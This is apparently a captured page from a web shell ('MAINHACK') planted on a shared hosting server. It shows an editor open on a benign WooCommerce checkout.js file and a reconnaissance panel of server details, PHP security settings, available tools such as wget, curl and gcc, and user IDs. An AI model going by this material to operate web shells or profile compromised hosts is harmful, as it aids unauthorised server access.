[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: checkout.js
jQuery( window ).load( function() { var windowHeight = jQuery( window ).height(); var paymentHeight = jQuery( '#order_review' ).height(); /** * Make the order review element stick to the top of the browser window. */ function stickyPayment() { if ( ! jQuery( '#order_review_heading' ).length || ! jQuery( 'form.woocommerce-checkout' ).length || ! jQuery( '#customer_details' ).length ) { return; } var topDistance = jQuery( document ).scrollTop(); var paymentWidth = jQuery( '#order_review_heading' ).outerWidth(); var checkoutWidth = jQuery( 'form.woocommerce-checkout' ).outerWidth(); var addressWidth = jQuery( '#customer_details' ).outerWidth(); var gutter = checkoutWidth - addressWidth - paymentWidth; var paymentOffset = addressWidth + gutter; var checkoutPosition = jQuery( '#order_review_heading' ).offset(); // If we're in desktop orientation... if ( jQuery( window ).width() > 768 ) { // When we reach the order review element during scroll... if ( topDistance > checkoutPosition.top ) { jQuery( '#order_review' ).addClass( 'payment-fixed' ); if ( jQuery( '#order_review' ).css( 'direction' ) === 'rtl' ) { jQuery( '#order_review' ).css({ 'margin-right': paymentOffset, 'width': paymentWidth }); } else { jQuery( '#order_review' ).css({ 'margin-left': paymentOffset, 'width': paymentWidth }); } } else { jQuery( '#order_review' ).removeAttr( 'style' ).removeClass( 'payment-fixed' ); } } else { jQuery( '#order_review' ).removeAttr( 'style' ).removeClass( 'payment-fixed' ); } } // Only execute the sticky function if the window is large enough to accomodate the order review element // Otherwise the 'place order' button could be off the bottom of the window and completely inaccessible. // Figure out which payment method has the largest payment box var tallestPaymentBox = -1; jQuery( '.payment_box' ).each( function() { tallestPaymentBox = tallestPaymentBox > jQuery( this ).outerHeight() ? tallestPaymentBox : jQuery( this ).outerHeight(); }); // Figure out the height of the current payment box var currentPaymentBox = jQuery( '.wc_payment_method input:checked' ).siblings( '.payment_box' ).outerHeight(); if ( windowHeight > paymentHeight + ( tallestPaymentBox - currentPaymentBox + 30 ) ) { // Do sticky on scroll jQuery( window ).scroll( function() { stickyPayment(); }); // Do sticky on window resize jQuery( window ).resize( function() { stickyPayment(); }); } });;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.96 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619